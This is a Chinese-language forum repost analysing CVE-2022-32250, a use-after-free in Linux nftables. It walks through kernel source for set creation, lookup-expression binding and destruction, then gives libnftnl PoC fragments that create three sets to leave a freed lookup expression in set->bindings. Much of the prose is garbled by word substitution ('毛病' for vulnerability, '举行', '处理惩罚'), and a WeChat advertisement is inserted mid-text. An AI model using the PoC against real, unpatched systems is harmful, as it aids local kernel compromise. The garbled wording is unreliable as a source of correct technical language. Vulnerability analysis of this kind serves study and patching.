Nftables毛病原理分析(CVE-2022-32250)

打印 上一主题 下一主题

主题 863|帖子 863|积分 2589

前言

在nftales中存在着集合(sets),用于存储唯一值的集合。sets 提供了高效地查抄一个元素是否存在于集合中的机制,它可以用于各种网络过滤和转发规则。
而CVE-2022-32250毛病则是由于nftables在处理惩罚set时存在uaf的毛病。
环境搭建

ubuntu20 + QEMU-4.2.1 + Linux-5.15
.config文件
CONFIG_NF_TABLES=y
CONFIG_NETFILTER_NETLINK=y
CONFIG_E1000=y
CONFIG_E1000E=y
CONFIG_USER_NS=y,开启定名空间
开启KASAN:make menuconfig --> Kernel hacking -->Memory Debugging --> KASAN
[img=720,433.32312404287904]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405061505831.png[/img]

在ubuntu20直接安装的libnftnl版本太低,因此需要去https://www.netfilter.org/projects/libnftnl/index.html中下载
  1. ./configure --prefix=/usr && make
  2. sudo make install
复制代码
毛病验证

poc:https://seclists.org/oss-sec/2022/q2/159
在运行poc时,KASAN检测出存在uaf毛病
[img=720,454.5132743362832]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405061505833.png[/img]

毛病原理

从KASAN给出的信息可知,该毛病与set有关,因此从set的创建到使用举行源码分析。
在nf_tables_newset内首先需要校验集合名、所属的表、集合键值的长度以及集合的ID是否被设置,若这些条件不具备则直接返回。
  1. File: linux-5.15\net\netfilter\nf_tables_api.c
  2. 4205: static int nf_tables_newset(struct sk_buff *skb, const struct nfnl_info *info,
  3. 4206:               const struct nlattr * const nla[])
  4. 4207: {
  5.        ...
  6.        //判断创建set的必备条件是否具备
  7. 4227:   if (nla[NFTA_SET_TABLE] == NULL ||
  8. 4228:       nla[NFTA_SET_NAME] == NULL ||
  9. 4229:       nla[NFTA_SET_KEY_LEN] == NULL ||
  10. 4230:       nla[NFTA_SET_ID] == NULL)
  11. 4231:       return -EINVAL;
  12.        ...
复制代码
集合通过kvzalloc函数开辟空间
  1. File: linux-5.15\net\netfilter\nf_tables_api.c
  2.    ...
  3. 4369:   set = kvzalloc(alloc_size, GFP_KERNEL);
  4. 4370:   if (!set)
  5. 4371:       return -ENOMEM;
  6.     ...
复制代码
在乐成创建集合后,就会举行初始化的过程,有一个变量需要重点关注,即set->bindings。
  1. File: linux-5.15\net\netfilter\nf_tables_api.c
  2.    ...
  3.    //对集合做初始化
  4. 4390:   INIT_LIST_HEAD(&set->bindings);
  5. 4391:   INIT_LIST_HEAD(&set->catchall_list);
  6. 4392:   set->table = table;
  7. 4393:   write_pnet(&set->net, net);
  8. 4394:   set->ops = ops;
  9. 4395:   set->ktype = ktype;
  10. 4396:   set->klen = desc.klen;
  11. 4397:   set->dtype = dtype;
  12. 4398:   set->objtype = objtype;
  13. 4399:   set->dlen = desc.dlen;
  14. 4400:   set->flags = flags;
  15. 4401:   set->size = desc.size;
  16. 4402:   set->policy = policy;
  17. 4403:   set->udlen = udlen;
  18. 4404:   set->udata = udata;
  19. 4405:   set->timeout = timeout;
  20. 4406:   set->gc_int = gc_int;
  21.     ...
复制代码
[img=720,614.647460197119]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405061505834.png[/img]

当初始化完毕之后,会去判断创建集合时,该集合是否有需要创建的表达式。
  1. File: linux-5.15\net\netfilter\nf_tables_api.c
  2.     ...
  3.        //判断是否有表达式需要创建
  4. 4416:   if (nla[NFTA_SET_EXPR]) {
  5. 4417:       expr = nft_set_elem_expr_alloc(&ctx, set, nla[NFTA_SET_EXPR]); //表达式的创建
  6. 4418:       if (IS_ERR(expr)) {
  7. 4419:           err = PTR_ERR(expr);
  8. 4420:           goto err_set_expr_alloc;
  9. 4421:       }
  10. 4422:       set->exprs[0] = expr;
  11. 4423:       set->num_exprs++;
  12.     ...
复制代码
在代码[1]处会对表达式举行初始化,紧接着在代码[2]处会对表达式的标志位举行校验,当表达式的标志位不具备NFT_EXPR_STATEFUL属性,那么就会跳转到[3]中举行销毁表达式的处理惩罚,紧接着返回错误。这里似乎会存在题目,由于代表[1]与[2]是先创建表达式再检验,就会导致任意的表达式被创建。
  1. File: linux-5.15\net\netfilter\nf_tables_api.c
  2. 5309: struct nft_expr *nft_set_elem_expr_alloc(const struct nft_ctx *ctx,
  3. 5310:                    const struct nft_set *set,
  4. 5311:                    const struct nlattr *attr)
  5. 5312: {
  6. 5313:   struct nft_expr *expr;
  7. 5314:   int err;
  8. 5315:
  9. 5316:   expr = nft_expr_init(ctx, attr); --->[1]
  10. 5317:   if (IS_ERR(expr))
  11. 5318:       return expr;
  12. 5319:
  13. 5320:   err = -EOPNOTSUPP;
  14. 5321:   if (!(expr->ops->type->flags & NFT_EXPR_STATEFUL)) --->[2]
  15. 5322:       goto err_set_elem_expr;
  16. 5323:
  17.     ...
  18. 5334: err_set_elem_expr:
  19. 5335:   nft_expr_destroy(ctx, expr); --->[3]
  20. 5336:   return ERR_PTR(err);
  21. 5337: }
复制代码
回顾KASAN的报告,发现该毛病与表达式nft_lookup有关,因此接下来关注一下lookup表达式初始化的过程。
【----帮助网安学习,以下所有学习资料免费领!加vx:dctintin,备注 “博客园” 获取!】
 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC毛病分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权势巨子CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)
[img=720,129.71147079521464]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405061505835.png[/img]

lookup表达式的结构体如下,可以看到在lookup结构体里存在着binding变量,是上面set会初始化的一个变量。
  1. struct nft_lookup {
  2.     struct nft_set          *set; //集合
  3.     u8              sreg; //源寄存器
  4.     u8              dreg; //目的寄存器
  5.     bool                invert;
  6.     struct nft_set_binding      binding;
  7. };
复制代码
nft_set_bing结构体实则是维护了一个双链表。
  1. struct nft_set_binding {
  2.     struct list_head        list;
  3.     const struct nft_chain      *chain;
  4.     u32             flags;
  5. };
复制代码
nft_lookup_init函数负责初始化lookup表达式,可以看到需要set与源寄存器都存在的情况下才可以大概完成创建。
  1. File: linux-5.15\net\netfilter\nft_lookup.c
  2. 095: static int nft_lookup_init(const struct nft_ctx *ctx,
  3. 096:               const struct nft_expr *expr,
  4. 097:               const struct nlattr * const tb[])
  5. 098: {
  6.    ...
  7.        //检测set与源寄存器的值
  8. 105:    if (tb[NFTA_LOOKUP_SET] == NULL ||
  9. 106:        tb[NFTA_LOOKUP_SREG] == NULL)
  10. 107:        return -EINVAL;
  11.    ...
复制代码
紧接着检索需要搜索的set。
  1. File: linux-5.15\net\netfilter\nft_lookup.c
  2.         ...
  3. 109:    set = nft_set_lookup_global(ctx->net, ctx->table, tb[NFTA_LOOKUP_SET],
  4. 110:                    tb[NFTA_LOOKUP_SET_ID], genmask);
  5. 111:    if (IS_ERR(set))
  6. 112:        return PTR_ERR(set);
  7.         ...
复制代码
最后在完成了set的搜索后,就会举行一个绑定操纵,会将表达式的binging接入的set的binding。
  1. File: linux-5.15\net\netfilter\nft_lookup.c
  2.     ...
  3. 148:    err = nf_tables_bind_set(ctx, set, &priv->binding);
  4. 149:    if (err < 0)
  5. 150:        return err;
  6.     ...
复制代码
首先在绑定之前会校验链表是否是匿名而且非空。
  1. File: linux-5.15\net\netfilter\nf_tables_api.c
  2. 4606: int nf_tables_bind_set(const struct nft_ctx *ctx, struct nft_set *set,
  3. 4607:              struct nft_set_binding *binding)
  4. 4608: {
  5.        ...
  6. 4615:   if (!list_empty(&set->bindings) && nft_set_is_anonymous(set))
  7. 4616:       return -EBUSY;
  8.        ...
复制代码
在通过上面的检测后,就会将当前表达式的加入到set中,
  1. File: linux-5.15\net\netfilter\nf_tables_api.c
  2.         ...
  3. 4643:   list_add_tail_rcu(&binding->list, &set->bindings);
  4.         ...
复制代码
综上所述,bing的作用实则是维护相同set下的不同的表达式。具体流程如下。
在set创建时,会初始化bindings指向本身本身。

紧接着若有lookup表达式创建,并绑定上述的set时,因此通过set的bingdings,可以检索在当前set上的所有expr。
[img=720,404.57943925233644]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405061505838.png[/img]

[img=720,406.14047791455465]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405061505839.png[/img]

在上面说过创建表达式的过程中会检测表达式的标志位是否为NFT_EXPR_STATEFUL,如[2]所示
  1. 5321:   if (!(expr->ops->type->flags & NFT_EXPR_STATEFUL)) --->[2]
  2. 5322:       goto err_set_elem_expr;
复制代码
在初始化lookup表达式时,是不会给flags设置值的,因此默认值即为0,因此在创建set的同时创建lookup表达式,lookup表达式的类型是默认为0,是无法绕过检测的。
  1. struct nft_expr_type nft_lookup_type __read_mostly = {
  2.     .name       = "lookup",
  3.     .ops        = &nft_lookup_ops,
  4.     .policy     = nft_lookup_policy,
  5.     .maxattr    = NFTA_LOOKUP_MAX,
  6.     .owner      = THIS_MODULE,
  7. };
复制代码
那么就会进入销毁表达式[3]
  1. 5334: err_set_elem_expr:
  2. 5335:   nft_expr_destroy(ctx, expr); --->[3]
  3. 5336:   return ERR_PTR(err);
复制代码
nft_expr_destory函数内除了是否表达式外还会调用nf_tables_expr_destroy函数
  1. File: linux-5.15\net\netfilter\nf_tables_api.c
  2. 2823: void nft_expr_destroy(const struct nft_ctx *ctx, struct nft_expr *expr)
  3. 2824: {
  4. 2825:   nf_tables_expr_destroy(ctx, expr);
  5. 2826:   kfree(expr);
  6. 2827: }
复制代码
在nf_tables_exor_destroy函数会调用表达式的destroy操纵
  1. File: linux-5.15\net\netfilter\nf_tables_api.c
  2. 2761: static void nf_tables_expr_destroy(const struct nft_ctx *ctx,
  3. 2762:                  struct nft_expr *expr)
  4. 2763: {
  5. 2764:   const struct nft_expr_type *type = expr->ops->type;
  6. 2765:
  7. 2766:   if (expr->ops->destroy)
  8. 2767:       expr->ops->destroy(ctx, expr); //表达式的删除操作
  9. 2768:   module_put(type->owner);
  10. 2769: }
复制代码
nft_lookup_destroy函数内部调用了nf_tables_destroy_set函数
  1. File: linux-5.15\net\netfilter\nft_lookup.c
  2. 173: static void nft_lookup_destroy(const struct nft_ctx *ctx,
  3. 174:                   const struct nft_expr *expr)
  4. 175: {
  5. 176:    struct nft_lookup *priv = nft_expr_priv(expr);
  6. 177:
  7. 178:    nf_tables_destroy_set(ctx, priv->set);
  8. 179: }
复制代码
在nf_tables_destroy_set函数内部中有一个简单的判断,若不建立那么实际上nf_tables_destroy_set不会做任何操纵。那么就会造成一个毛病,若我们创建的表达式lookup已经被绑定在set上,因此list_empty(&set->bindings为0,那么就会导致destroy操纵不会执行任何操纵。就会将lookup表达式残留在set->bingdings中。
  1. File: linux-5.15\net\netfilter\nf_tables_api.c
  2. 4683: void nf_tables_destroy_set(const struct nft_ctx *ctx, struct nft_set *set)
  3. 4684: {
  4. 4685:   if (list_empty(&set->bindings) && nft_set_is_anonymous(set)) //判断`set->bingings是否为空,以及`set`是否匿名
  5. 4686:       nft_set_destroy(ctx, set);
  6. 4687: }
复制代码
由于lookup->destory不会执行任何操纵,就会导致lookup表达式仍然残留在set->bingdings上,但是由于表达式的标志位不能通过校验,随后该表达式就会被开释。
[img=720,270.41731066460585]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405061505840.png[/img]

[img=720,401.5282880235121]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405061505841.png[/img]

POC分析

首先创建一个名为set_stable的set,为后续创建lookup表达式做预备。
  1.    set_name = "set_stable";
  2.    nftnl_set_set_str(set_stable, NFTNL_SET_TABLE, table_name);
  3.    nftnl_set_set_str(set_stable, NFTNL_SET_NAME, set_name);
  4.    nftnl_set_set_u32(set_stable, NFTNL_SET_KEY_LEN, 1);
  5.    nftnl_set_set_u32(set_stable, NFTNL_SET_FAMILY, family);
  6.    nftnl_set_set_u32(set_stable, NFTNL_SET_ID, set_id++);
复制代码
紧接着创建名为set_trigger的set,并同时将标志位设置为NFT_SET_EXPR,那么就能在创建set的同时创建表达式,创建的表达式为lookup表达式,而且搜索的set的名为set_stable,这里需要注意的是,第一个创建的set是为了后续的lookup表达式提供搜索的set,而第二次的set是为了创建set的同时创建lookup表达式,因此第二个set的作用仅仅是为了创建lookup表达式。
  1.    set_name = "set_trigger";
  2.    nftnl_set_set_str(set_trigger, NFTNL_SET_TABLE, table_name);
  3.    nftnl_set_set_str(set_trigger, NFTNL_SET_NAME, set_name);
  4.    nftnl_set_set_u32(set_trigger, NFTNL_SET_FLAGS, NFT_SET_EXPR);
  5.    nftnl_set_set_u32(set_trigger, NFTNL_SET_KEY_LEN, 1);
  6.    nftnl_set_set_u32(set_trigger, NFTNL_SET_FAMILY, family);
  7.    nftnl_set_set_u32(set_trigger, NFTNL_SET_ID, set_id);
  8.    exprs[exprid] = nftnl_expr_alloc("lookup");
  9.    nftnl_expr_set_str(exprs[exprid], NFTNL_EXPR_LOOKUP_SET, "set_stable");
  10.    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_LOOKUP_SREG, NFT_REG_1);
  11.    // nest the expression into the set
  12.    nftnl_set_add_expr(set_trigger, exprs[exprid]);
复制代码
最后就是触发毛病,第三次的set同样的也仅仅是为了创建lookup表达式,由于此时名为set_stable的set->bingdings还存在着被开释掉的lookup表达式的指针,因此在第三次创建的时候就会将新创建的lookup表达式链接到上述已经被开释的lookup表达式中,从而导致的uaf毛病。
  1.    set_name = "set_uaf";
  2.    nftnl_set_set_str(set_uaf, NFTNL_SET_TABLE, table_name);
  3.    nftnl_set_set_str(set_uaf, NFTNL_SET_NAME, set_name);
  4.    nftnl_set_set_u32(set_uaf, NFTNL_SET_FLAGS, NFT_SET_EXPR);
  5.    nftnl_set_set_u32(set_uaf, NFTNL_SET_KEY_LEN, 1);
  6.    nftnl_set_set_u32(set_uaf, NFTNL_SET_FAMILY, family);
  7.    nftnl_set_set_u32(set_uaf, NFTNL_SET_ID, set_id);
  8.    exprs[exprid] = nftnl_expr_alloc("lookup");
  9.    nftnl_expr_set_str(exprs[exprid], NFTNL_EXPR_LOOKUP_SET, "set_stable");
  10.    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_LOOKUP_SREG, NFT_REG_1);
复制代码
更多网安技能的在线实操练习,请点击这里>>
  

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
回复

使用道具 举报

0 个回复

正序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

小秦哥

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表